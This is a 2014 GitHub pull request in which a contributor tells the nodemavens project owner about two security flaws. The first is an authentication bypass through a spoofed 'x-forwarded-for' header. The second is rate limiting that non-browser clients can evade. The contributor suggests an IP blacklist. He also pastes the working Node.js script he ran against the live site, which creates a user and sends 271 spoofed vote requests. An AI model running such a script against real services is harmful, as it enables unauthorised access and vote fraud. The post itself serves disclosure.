fiveisprime/nodemavens — pull request #3 by yorkie (2014-02-16 17:28:49+00:00)
Title: fix a security flaw

Hi, @fiveisprime, sorry about I have attacked your site, but I found 2 bugs in security:

1. Just set `header['x-forwarded-for']` to `false`, this can skip all of your authentication like: https://github.com/fiveisprime/nodemavens/blob/master/server/routes/index.js#L21-L41
2. If I use `request` module to ping your `http` server, `req.session` doesn't work, so I think need a ips table to record the times/per ip, and even when one exceed 5(depends on you) times, I added it to `blacklist`.

And for 2rd one, simple in-memory store has just a little unreliable, I think a table based on leveldb/redis/mongodb is better choice.

Below is all of my source code in this hacking:
```js
var request = require('request');
function createUser() {
request({
uri: 'http://nodemavens.com/api/mavens',
method: 'POST',
headers: {
'x-forwarded-for': false,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1838.2 Safari/537.36'
},
form: {
username: 'yorkie'
}
},
function(error, response, body) {
console.log(response.statusCode);
console.log(body);
})
}

function love() {
request({
uri: 'http://nodemavens.com/api/mavens/yorkie/love',
method: 'POST',
headers: {
'x-forwarded-for': false,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1838.2 Safari/537.36'
}
},
function(error, response, body) {
console.log(response.statusCode);
console.log(body);
})
}

//createUser();
for (var i=0; i<271; i++) {
love();
}
```

In the end, very sorry about my aggressive behavior. :p
cheers!